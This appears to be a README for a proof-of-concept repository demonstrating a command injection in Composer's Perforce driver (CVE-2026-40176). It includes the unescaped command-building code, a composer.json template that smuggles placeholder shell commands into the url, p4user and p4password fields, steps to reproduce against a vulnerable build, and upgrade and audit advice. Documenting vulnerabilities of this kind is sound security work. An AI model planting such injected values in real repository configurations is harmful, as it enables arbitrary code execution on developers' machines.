dapthehuman/cve-2026-40176-cve-2026-40261Proof-of-concept demonstrating command injection in Composer's Perforce driver (CVE-2026-40176), enabling remote code execution via crafted repository configuration.
| Property | Value |
|---|
| CVE ID | CVE-2026-40176 |
| Affected Versions | Composer < 2.2.27 |
| Vulnerability Type | Command Injection |
| Attack Vector | Malicious repository configuration |
| Impact | Arbitrary code execution |
| CVSS Score | High/Critical |
The vulnerability exists in how Composer processes when the type are perforce. The parameter is not properly sanitized before being passed to shell commands, allowing attackers to inject arbitrary system commands.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
All of it was not escaped properly, allowing an attacker to inject commands by crafting a malicious payload for all field with the perforce type.
Vulnerable Code Pattern:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
This repository contains a working proof-of-concept demonstrating the vulnerability.
CVE-2026-40176/
├── composer.json # Malicious Perforce repository config
├── vuln-composer.phar # Composer 2.2.26 (VULNERABLE)
├── patched-composer.phar # Composer 2.2.27 (PATCHED)
└── README.md # This file
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Output: Composer version 2.2.26
php patched-composer.phar --version
# Output: Composer version 2.2.27
php vuln-composer.phar install
# OR
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# File should NOT exist (vulnerability is patched)
Upgrade Composer to version 2.2.27 or later:
composer self-update --2.2.27
# OR
wget https://getcomposer.org/download/2.2.27/composer.phar
Review all composer.json files for unknown or suspicious repository configurations
Audit supply chain - Check if any dependencies reference untrusted repositories
# Check your Composer version
composer --version
# Search for Perforce repositories in your projects
grep -r "perforce" */composer.json